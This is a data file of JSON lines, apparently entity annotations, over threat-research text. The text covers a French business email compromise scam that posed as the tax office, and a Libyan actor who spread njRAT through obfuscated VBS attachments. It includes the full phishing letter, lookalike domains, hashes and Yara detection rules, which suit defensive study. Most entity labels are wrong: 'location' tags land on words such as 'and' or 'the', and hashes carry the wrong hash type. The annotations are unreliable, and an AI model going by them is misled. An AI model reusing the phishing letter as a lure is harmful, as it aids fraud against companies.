-{"id":8184,"text":"The PDF file showing the new banking reference account     Note that as soon as we noticed the scam, we reached out to the targeted company (who was incredibly responsive) and worked with them to prevent it from affecting their organization.","entities":[{"id":25305,"label":"location","start_offset":172,"end_offset":175},{"id":25306,"label":"location","start_offset":188,"end_offset":192}],"relations":[],"Comments":[]}
-{"id":8185,"text":"In addition, they had filed a complaint and reached out to the Italian bank to stop the fraud attempt.","entities":[{"id":25307,"label":"location","start_offset":40,"end_offset":43},{"id":25309,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":8186,"text":"Initial investigation  ","entities":[],"relations":[],"Comments":[]}
-{"id":8187,"text":"We found references on the company website showing that the alleged sender of the fraudulent email is an actual employee of the target company.","entities":[{"id":25310,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":8188,"text":"However, instead of working in the accounting department, as seen in the email, the person actually worked as a webmaster.","entities":[{"id":25311,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":8189,"text":"It’s possible that the fraudsters chose a random person based on the information they found prior to their scheme and decided to use it for their operation.","entities":[{"id":25312,"label":"location","start_offset":49,"end_offset":55},{"id":25313,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8190,"text":"Interestingly enough, the fraudsters committed several mistakes:  They forgot to change the target name in the header of the email content, therefore leaking the name of another target.","entities":[{"id":25314,"label":"location","start_offset":92,"end_offset":98},{"id":25315,"label":"location","start_offset":131,"end_offset":138},{"id":25316,"label":"location","start_offset":178,"end_offset":184}],"relations":[],"Comments":[]}
 {"id":8191,"text":"A perceptive employee could potentially identify this as something unusual, which raises red flags.","entities":[],"relations":[],"Comments":[]}
-{"id":8192,"text":"We found another version of the PDF file that revealed the account being used for the bank reference change had the name of an individual and was not registered under the name of the target company.","entities":[{"id":25317,"label":"location","start_offset":138,"end_offset":141},{"id":25318,"label":"location","start_offset":183,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":8193,"text":"       Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":8194,"text":"The PDF file showing the banking account reference.","entities":[],"relations":[],"Comments":[]}
-{"id":8195,"text":"However, instead of showing the target company as the owner of the account, it shows the name of a person.","entities":[{"id":25320,"label":"location","start_offset":32,"end_offset":38},{"id":25321,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":8196,"text":"    We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.","entities":[],"relations":[],"Comments":[]}
-{"id":8197,"text":"Delving deeper into the scam  The email address used to register the fraudulent domain  has been used to register several other domains since 2019, all of them showing similar names to legitimate French company domains, but again with slight errors here and there (for example using “techrnologies” instead of “technologies).  Domain","entities":[{"id":25324,"label":"location","start_offset":56,"end_offset":64},{"id":25325,"label":"location","start_offset":105,"end_offset":113},{"id":25327,"label":"location","start_offset":155,"end_offset":159},{"id":25329,"label":"location","start_offset":254,"end_offset":257}],"relations":[],"Comments":[]}
-{"id":8198,"text":" Creation Date  eltn[.]fr  8\/23\/2019  chnonopost[.]fr  9\/30\/2019  sfrbiz[.]fr  11\/24\/2019  ouflook[.]fr  12\/9\/2019  carre-haussrmann[.]fr  12\/10\/2019  4a-archifectes[.]fr  1\/16\/2020  harribeyconstuctions[.]fr  2\/5\/2020  stanvwell[.]r  5\/28\/2020  paretsarl[.]fr  6\/17\/2020  tkl-consutling[.]fr  6\/29\/2020  axa-etancheite[.]fr  7\/1\/2020  garantiesdesdepots[.]fr  7\/6\/2020  jacormex[.]fr  7\/14\/2020  harribeyconsstructions[.]fr  7\/15\/2020  transportcazaux[.]fr  7\/17\/2020  atg-techrnologies[.]fr  7\/22\/2020  cephii.eu  7\/27\/2020  efiiltec[.]fr  7\/27\/2020  benne-rci[.]fr  7\/28\/2020  soterm[.]fr  7\/29\/2020  phamasys[.]fr  7\/31\/2020  huuaume.fr  08\/05\/2020  larm-inox[.]fr  8\/13\/2020   Table 1. Domains registered using the email address The email address used did not seem to have been compromised and was probably created by the malicious actors themselves.","entities":[{"id":25330,"label":"location","start_offset":10,"end_offset":14},{"id":25333,"label":"location","start_offset":795,"end_offset":798}],"relations":[],"Comments":[]}
 {"id":8199,"text":"Table 1. Domains registered using the email address  ","entities":[],"relations":[],"Comments":[]}
-{"id":8200,"text":"This list also reveals that the attackers are targeting a wide swath of industries, probably in an opportunistic manner.","entities":[{"id":25335,"label":"location","start_offset":5,"end_offset":9},{"id":25336,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":8201,"text":"While we could not confirm that all of these domains have been used to commit BEC fraud, we did find at least one additional case in which the fraudsters targeted an organization that was part of the healthcare industry.","entities":[{"id":25338,"label":"location","start_offset":125,"end_offset":129},{"id":25339,"label":"location","start_offset":211,"end_offset":219}],"relations":[],"Comments":[]}
-{"id":8202,"text":" Impersonating the French tax system In many BEC schemes, the perpetrators infect the machines of their targets with malware that will allow them to read  —  and therefore gather information —  from emails.","entities":[{"id":25341,"label":"location","start_offset":40,"end_offset":44},{"id":25342,"label":"location","start_offset":130,"end_offset":134},{"id":25343,"label":"location","start_offset":141,"end_offset":145},{"id":25344,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":8203,"text":"Once the cybercriminals gain access to the mailboxes of their targets, they search for material on the people involved with the organization's finance and accounting departments.","entities":[{"id":25345,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":8204,"text":"In addition, the attackers also look for information on the company’s customers and partners.","entities":[{"id":25346,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":8205,"text":"Using this method, BEC scammers can then impersonate an employee to entice a victim to carry out their goals via social engineering.","entities":[{"id":25348,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":8206,"text":" This is BEC as we usually know it.","entities":[],"relations":[],"Comments":[]}
-{"id":8207,"text":"We found evidence that the cybercriminals involved in this case had used malware as well, but ultimately, they did not really even need it.","entities":[{"id":25349,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":8208,"text":"Instead, they used an alternative  —  and admittedly clever  —   method of hunting for their target’s financial data themselves.","entities":[{"id":25350,"label":"location","start_offset":38,"end_offset":41},{"id":25351,"label":"location","start_offset":53,"end_offset":59},{"id":25352,"label":"location","start_offset":75,"end_offset":82},{"id":25353,"label":"location","start_offset":93,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":8209,"text":" With the help of the organization that the scam targeted, we were able to determine the initial approach the cybercriminals used:  they presented their emails to appear as if it was from the French tax system to gather information on their target.","entities":[{"id":25355,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
 {"id":8210,"text":"A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:      Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":8211,"text":"The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries     The email contained an attached PDF file that seemed to be a letter from the French Tax service:      Figure 7.","entities":[],"relations":[],"Comments":[]}
-{"id":8212,"text":"The content of the PDF attachment sent with the email     Essentially, the PDF file contains a request from the spoofed government organization asking the target company for information on their customers, employees, and other financial data.","entities":[{"id":25362,"label":"location","start_offset":4,"end_offset":11},{"id":25363,"label":"location","start_offset":155,"end_offset":161},{"id":25364,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]}
-{"id":8213,"text":"The text also adds to the urgency of the request by mentioning possible fines if the target organization refuses to cooperate.","entities":[{"id":25365,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":8214,"text":"The translation of the text found in the PDF file is as follows: As happens every year, in accordance with the Stability and Growth Pact with the European Commission, the Directorate General of Public Finances is launching an investigation as part of the verification of compliance with SEPA (Single Euro Payments Area) conditions and  international standards.","entities":[{"id":25371,"label":"location","start_offset":331,"end_offset":334},{"id":25372,"label":"location","start_offset":336,"end_offset":349}],"relations":[],"Comments":[]}
-{"id":8215,"text":" As such, in accordance with the provisions of articles L.81, L.85 and article L.102 B of the book of tax procedures, I would like to have, as soon as possible and no later than July 20, 2020, in dematerialized form, for each of your three (3) main Customers who pay their services by SEPA (Single Euro Payments Area) transfer for the period from 04\/01\/2020 to 07\/31\/2020 of: The aging balance to date, duplicate invoice correspondents (Not having been paid by the customer and concerning the June, July and August deadlines), contacts of the financial or accounting department (Emails, Telephones and Postal address) and one (1) duly signed and sealed commercial contract.  I would point out that this operation does not constitute a verification of your tax situation and indicates to you that any refusal to cooperate is sanctioned by a tax fine provided for in article 1734 of the general tax code.","entities":[{"id":25374,"label":"location","start_offset":67,"end_offset":70},{"id":25376,"label":"location","start_offset":94,"end_offset":98},{"id":25377,"label":"location","start_offset":160,"end_offset":163},{"id":25381,"label":"location","start_offset":318,"end_offset":326},{"id":25383,"label":"location","start_offset":397,"end_offset":401},{"id":25384,"label":"location","start_offset":474,"end_offset":477},{"id":25387,"label":"location","start_offset":504,"end_offset":507},{"id":25389,"label":"location","start_offset":598,"end_offset":601},{"id":25390,"label":"location","start_offset":618,"end_offset":621},{"id":25393,"label":"location","start_offset":642,"end_offset":645},{"id":25394,"label":"location","start_offset":683,"end_offset":688},{"id":25395,"label":"location","start_offset":770,"end_offset":773},{"id":25396,"label":"location","start_offset":844,"end_offset":848}],"relations":[],"Comments":[]}
-{"id":8216,"text":" I invite you to send us these documents in dematerialized form on our secure and functional messaging: odac@dgfip-finances-gouv[.]cloud","entities":[{"id":25398,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":8217,"text":"While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.","entities":[],"relations":[],"Comments":[]}
-{"id":8218,"text":"The PDF letter looks (and reads) like a real document from the French tax service.","entities":[{"id":25399,"label":"location","start_offset":22,"end_offset":25},{"id":25400,"label":"location","start_offset":40,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":8219,"text":"In fact, most French people would probably think this is a legitimate letter unless they look closely at the email address used (dgfip-finances-gouv[.]cloud instead of the real domain, which is dgfip.finances.gouv.fr).  As we highlighted in bold, the social engineering trick used in this email is for gathering data that could potentially be useful for the malicious actors, such as client information and commercial contracts.","entities":[{"id":25402,"label":"location","start_offset":9,"end_offset":13},{"id":25404,"label":"location","start_offset":172,"end_offset":176},{"id":25406,"label":"location","start_offset":403,"end_offset":406}],"relations":[],"Comments":[]}
-{"id":8220,"text":"Once this information is in the hands of the scammers, they can then move on to the next stage of the attack, which involves reaching out to the three contacts mentioned in the PDF file.","entities":[{"id":25407,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":8221,"text":" One interesting side note: it seems the BEC scammers actually built their PDF file from a real PDF file used by the French tax system.","entities":[{"id":25411,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":8222,"text":"The real name of the author of the document (as seen in the metadata) is indeed the name of a real government employee working in the department responsible for handling tax-related issues.","entities":[{"id":25413,"label":"location","start_offset":4,"end_offset":8},{"id":25414,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":8223,"text":" The use of tax-related scams is something we’ve seen before.","entities":[],"relations":[],"Comments":[]}
-{"id":8224,"text":"This incident confirms that the information stolen using tax fraud is being used for malicious purposes, in this case, a BEC scam.","entities":[{"id":25415,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8225,"text":"Expanding the target range We searched our systems for similar emails and found at least 73 different French companies targeted by these cybercriminals.      Figure 8.","entities":[{"id":25416,"label":"location","start_offset":14,"end_offset":20},{"id":25417,"label":"location","start_offset":21,"end_offset":26},{"id":25418,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":8226,"text":"The industry distribution of the companies targeted in this particular BEC scam.","entities":[{"id":25422,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":8227,"text":"Organizations in the manufacturing sector were by far the most targeted     The most targeted industry in this BEC campaign is manufacturing, particularly manufacturing companies that build high tech products and materials.","entities":[{"id":25424,"label":"location","start_offset":58,"end_offset":62},{"id":25425,"label":"location","start_offset":80,"end_offset":84},{"id":25426,"label":"location","start_offset":94,"end_offset":102},{"id":25427,"label":"location","start_offset":115,"end_offset":123},{"id":25428,"label":"location","start_offset":209,"end_offset":212}],"relations":[],"Comments":[]}
-{"id":8228,"text":"This was followed by the healthcare, real estate, energy, and food and beverage industries.","entities":[{"id":25429,"label":"location","start_offset":37,"end_offset":41},{"id":25430,"label":"location","start_offset":50,"end_offset":56},{"id":25431,"label":"location","start_offset":58,"end_offset":61},{"id":25432,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":8229,"text":"Many of the targeted companies work with many different service providers and partners, making requests for changes in banking references look less suspicious.  It’s highly likely that the fraud is more widespread than we have data on.","entities":[{"id":25433,"label":"location","start_offset":0,"end_offset":4},{"id":25434,"label":"location","start_offset":41,"end_offset":45},{"id":25435,"label":"location","start_offset":74,"end_offset":77},{"id":25436,"label":"location","start_offset":173,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8230,"text":"In addition to reaching out and working with the first organization we investigated, we also notified the other targets, all of whom have been very reactive to the threat.","entities":[{"id":25437,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":8231,"text":"We also helped close the fraudulent domains.","entities":[],"relations":[],"Comments":[]}
-{"id":8232,"text":" Defending your organization from BEC attacks  Businesses are advised to educate employees on how BEC scams and other similar attacks work.","entities":[{"id":25439,"label":"location","start_offset":58,"end_offset":61},{"id":25440,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":8233,"text":"These schemes do not require advanced technical skills: all that’s needed to launch an effective BEC scam is a single compromised account and services that are widely available in the cybercriminal underground.","entities":[{"id":25441,"label":"location","start_offset":138,"end_offset":141},{"id":25442,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":8234,"text":"As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.","entities":[{"id":25443,"label":"location","start_offset":14,"end_offset":17},{"id":25444,"label":"threat-actor","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":8235,"text":"Be wary of irregular emails sent by high-level executives, especially those that have an unusual sense of urgency, as they can be used to trick employees into furthering the scam.","entities":[{"id":25445,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":8236,"text":"Always review emails requesting for funds to determine if the requests are out of the ordinary.","entities":[{"id":25446,"label":"location","start_offset":71,"end_offset":74},{"id":25447,"label":"location","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":8237,"text":"Raise employee awareness.","entities":[],"relations":[],"Comments":[]}
-{"id":8238,"text":"While employees are a company’s biggest asset, they can also be its weakest link when it comes to security.","entities":[{"id":25448,"label":"location","start_offset":16,"end_offset":19},{"id":25449,"label":"location","start_offset":52,"end_offset":55},{"id":25450,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":8239,"text":"Commit to training employees, reviewing company policies, and developing good security habits.","entities":[{"id":25451,"label":"location","start_offset":58,"end_offset":61},{"id":25452,"label":"location","start_offset":73,"end_offset":77},{"id":25453,"label":"location","start_offset":78,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":8240,"text":"Verify any changes in vendor payment location by using a secondary sign-off by company personnel.","entities":[{"id":25454,"label":"location","start_offset":22,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8241,"text":"Stay updated on customer habits, including the details and reasons behind payments.","entities":[{"id":25455,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8242,"text":"Always verify requests.","entities":[],"relations":[],"Comments":[]}
-{"id":8243,"text":"Confirm requests for fund transfers using phone verification as a part of two-factor authentication (2FA), use known familiar numbers and not the details provided in the email requests.","entities":[{"id":25457,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":8244,"text":"Report any incident immediately to law enforcement or file a complaint with the Internet Crime Complaint Center (IC3).  Trend Micro Solutions Email","entities":[{"id":25458,"label":"location","start_offset":35,"end_offset":38},{"id":25461,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":8245,"text":"The email security capabilities of the Trend Micro User Protection and Network Defense solutions can block email messages used in Business Email Compromise attacks.","entities":[{"id":25462,"label":"location","start_offset":10,"end_offset":18},{"id":25463,"label":"location","start_offset":45,"end_offset":50},{"id":25464,"label":"location","start_offset":56,"end_offset":66},{"id":25465,"label":"location","start_offset":67,"end_offset":70},{"id":25466,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":8246,"text":"Malware  Endpoint security capabilities in Trend Micro User Protection and Network Defense solutions can detect advanced malware and other threats used in BEC schemes.","entities":[{"id":25467,"label":"location","start_offset":18,"end_offset":26},{"id":25468,"label":"location","start_offset":49,"end_offset":54},{"id":25469,"label":"location","start_offset":60,"end_offset":70},{"id":25470,"label":"location","start_offset":71,"end_offset":74},{"id":25471,"label":"location","start_offset":101,"end_offset":104},{"id":25472,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":8247,"text":"Indicators of Compromise (IoCs) Domains  dgfip-finances-gouv[.]cloud  bellingstudio@gmail.com      Tags","entities":[{"id":25473,"label":"EMAIL","start_offset":70,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":8248,"text":" Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":25474,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":8249,"text":"A couple of common questions that arise whenever cyberpropaganda and hacktivism issues come up: who engages in it?","entities":[{"id":25475,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":8250,"text":"Where do the people acquire the tools, skills, and techniques used?","entities":[{"id":25476,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":8251,"text":"As it turns out, in at least one case, it comes from the traditional world of cybercrime.","entities":[{"id":25478,"label":"location","start_offset":33,"end_offset":37},{"id":25479,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":8252,"text":"We’ve come across a case where a cybercriminal based in Libya turned from cybercrime to cyberpropaganda.","entities":[{"id":25480,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":8253,"text":"This highlights how the cybercrime underground in the Middle East\/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.","entities":[{"id":25484,"label":"location","start_offset":80,"end_offset":86},{"id":25486,"label":"location","start_offset":196,"end_offset":199},{"id":25487,"label":"malware","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":8254,"text":"DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.","entities":[{"id":25489,"label":"location","start_offset":65,"end_offset":70},{"id":25490,"label":"attack-pattern","start_offset":71,"end_offset":79},{"id":25491,"label":"location","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":8255,"text":"These used an alarming “Tourist attack!!” subject, and usually spoofed addresses of various Foreign Affairs ministries.","entities":[{"id":25493,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8256,"text":"The email attachments were RAR files containing an obfuscated VBS file, which had a low infection rate at the time of the incident.","entities":[{"id":25495,"label":"location","start_offset":110,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":8257,"text":"Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.","entities":[{"id":25496,"label":"location","start_offset":47,"end_offset":50},{"id":25497,"label":"malware","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":8258,"text":"The obfuscation used was not particularly sophisticated.","entities":[],"relations":[],"Comments":[]}
-{"id":8259,"text":"A variable containing a second layer VBS script was encoded in Unicode characters and decoded with a combination of basic string functions such as ChrW, AscW, and Mid before being run with a call to Execute.","entities":[{"id":25500,"label":"location","start_offset":82,"end_offset":85},{"id":25501,"label":"location","start_offset":159,"end_offset":162},{"id":25502,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":8260,"text":"A simple Yara rule allowed us to find more of these obfuscated VBS scripts: rule layer1_vbs { strings: $vbs = \/[a-z]+ = [a-z]+ & ChrW\\(AscW\\(Mid\\([a-z]+, [a-z]+, 1\\)\\) – [a-z]+ \\* [a-z]+\\)\/ wide condition: $vbs }","entities":[{"id":25504,"label":"location","start_offset":14,"end_offset":18},{"id":25505,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":8261,"text":"We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).","entities":[],"relations":[],"Comments":[]}
-{"id":8262,"text":"We initially thought that this team—or someone close to them using their tools—launched the campaign.","entities":[{"id":25508,"label":"location","start_offset":56,"end_offset":60},{"id":25509,"label":"location","start_offset":92,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":8263,"text":"As the campaign became more prominent, the detection rate for these scripts improved.","entities":[{"id":25510,"label":"location","start_offset":7,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":8264,"text":"This led the person behind the campaign to send new emails to other diplomatic targets, as well as other targets (such as hotels and other companies) in North Africa.","entities":[{"id":25511,"label":"location","start_offset":13,"end_offset":19},{"id":25512,"label":"location","start_offset":31,"end_offset":39},{"id":25513,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":8265,"text":"The new emails used more common phishing tactics, such as alleged requests for payment confirmation.","entities":[{"id":25515,"label":"attack-pattern","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":8266,"text":"At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.","entities":[{"id":25517,"label":"location","start_offset":35,"end_offset":43},{"id":25518,"label":"location","start_offset":57,"end_offset":63},{"id":25521,"label":"identity","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8267,"text":"This particular actor was at something of a crossroads regarding his cybercrime “career”: while he’s still making good money from simple scams, he’s also improving his skills and branching out to targeted attacks.","entities":[{"id":25522,"label":"location","start_offset":44,"end_offset":54},{"id":25523,"label":"location","start_offset":114,"end_offset":118},{"id":25524,"label":"location","start_offset":119,"end_offset":124},{"id":25525,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":8268,"text":"The attachments used in this second wave was more sophisticated, but barely so.","entities":[],"relations":[],"Comments":[]}
-{"id":8269,"text":"The most meaningful change was the addition of an extra layer of VBS obfuscation.","entities":[{"id":25527,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":8270,"text":"The payload was still njRAT.","entities":[{"id":25528,"label":"malware","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":8271,"text":"We were able to find other samples with the same technique, but these samples did not have ties to N7r.","entities":[{"id":25529,"label":"location","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":8272,"text":"We believe that our attacker finds obfuscators in various forums, and chains them together in an attempt to avoid detection.","entities":[{"id":25530,"label":"location","start_offset":66,"end_offset":69},{"id":25531,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8273,"text":"This is the Yara rule we used to search for similar samples: rule layer0_vbs { strings: $code = \/Dim \\w+\\s+\\r\\n\\s+For Each \\w+ In split\\(\\w+,”.+”\\)\\r\\n\\s+\\w+ = \\w+ & ChrW\\(\\w+ – “\\d+”\\)\/ condition: $code }","entities":[{"id":25532,"label":"location","start_offset":12,"end_offset":16},{"id":25533,"label":"location","start_offset":17,"end_offset":21},{"id":25534,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":8274,"text":"These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.","entities":[{"id":25536,"label":"location","start_offset":109,"end_offset":112},{"id":25537,"label":"malware","start_offset":113,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":8275,"text":"These samples connected to other C&C servers, which we were able to use to connect them all to the threat actor.","entities":[{"id":25538,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":8276,"text":"Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.","entities":[],"relations":[],"Comments":[]}
 {"id":8277,"text":"OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.","entities":[],"relations":[],"Comments":[]}
-{"id":8278,"text":"However, we decided to dig a little further and noticed a few things.","entities":[{"id":25540,"label":"location","start_offset":29,"end_offset":35},{"id":25541,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":8279,"text":"The attacker almost always sent his mails from a Libyan IP address.","entities":[],"relations":[],"Comments":[]}
 {"id":8280,"text":"In some cases, compromised SMTP servers belonging to the hotels he had breached were used.","entities":[],"relations":[],"Comments":[]}
 {"id":8281,"text":"He didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.","entities":[],"relations":[],"Comments":[]}
 {"id":8282,"text":"We also checked the registrant data of the domains used by the attacker.","entities":[],"relations":[],"Comments":[]}
 {"id":8283,"text":"This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.","entities":[],"relations":[],"Comments":[]}
 {"id":8284,"text":"We then confirmed his location (Libya) as well as his probable identity.","entities":[],"relations":[],"Comments":[]}
-{"id":8285,"text":"What was more surprising was what he was doing with the stolen documents—apparently, he had decided to post the documents on social media:","entities":[{"id":25545,"label":"location","start_offset":103,"end_offset":107},{"id":25546,"label":"location","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":8286,"text":" Figure 1. Stolen document posted on Facebook (Click to enlarge)","entities":[],"relations":[],"Comments":[]}
 {"id":8287,"text":"He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.","entities":[{"id":25548,"label":"identity","start_offset":10,"end_offset":14},{"id":25549,"label":"location","start_offset":15,"end_offset":19},{"id":25550,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":8288,"text":" Figure 2. Stolen credit cards (Click to enlarge)","entities":[],"relations":[],"Comments":[]}
 {"id":8289,"text":"This threat actor first published stolen documents in April 2016.","entities":[],"relations":[],"Comments":[]}
 {"id":8290,"text":"His motives remain unclear since the documents themselves did not contain any particularly unusual information.","entities":[],"relations":[],"Comments":[]}
-{"id":8291,"text":"Leaking supposedly secret documents to try to discredit groups and\/or sway public opinion is a hallmark of cyberpropaganda efforts—even if the documents appear to be of limited value.","entities":[{"id":25553,"label":"location","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8292,"text":"Perhaps he wanted to damage the reputation of the Libyan government, or he aimed to increase his popularity by appearing to be more skilled and sell other services (he offered an old exploit for Office 2007 in January 2017 on Facebook).","entities":[{"id":25555,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":8293,"text":"This incident shows how the worlds of cybercrime and cyberpropaganda can be intertwined: the tools and techniques are equally effective.","entities":[{"id":25559,"label":"location","start_offset":49,"end_offset":52},{"id":25560,"label":"location","start_offset":69,"end_offset":72},{"id":25561,"label":"location","start_offset":99,"end_offset":102},{"id":25562,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8294,"text":"Organizations should realize that defending against attacks should focus on what is technically plausible, as this will ensure protection against various threat actors—even those you don’t expect.","entities":[{"id":25563,"label":"location","start_offset":115,"end_offset":119},{"id":25564,"label":"location","start_offset":127,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":8295,"text":"Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:  cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file;","entities":[{"id":25565,"label":"SHA1","start_offset":99,"end_offset":163},{"id":25566,"label":"MD5","start_offset":194,"end_offset":258}],"relations":[],"Comments":[]}
 {"id":8296,"text":"contents detected as VBS_KEYLOG.NYKW fd883a978dd6d95fa5c3b5e0a154e0e07b06e7cb6c685f1ca9f58c73122df24d – archive file; contents detected as VBS_KEYLOG.NYKW 7413c7c0317e49e49d595408f721c2ab2f120215374accf2f8133c9d9ad603fb – detected as WORM_DUNIHI.AUSHH 89427241e26748949c235fc43805c72960d9c2711fa72036c33137648bb475fa – detected as VBS_REMCOS.B","entities":[{"id":25567,"label":"SHA1","start_offset":37,"end_offset":101},{"id":25568,"label":"SHA2","start_offset":155,"end_offset":219},{"id":25569,"label":"SHA2","start_offset":252,"end_offset":316}],"relations":[],"Comments":[]}
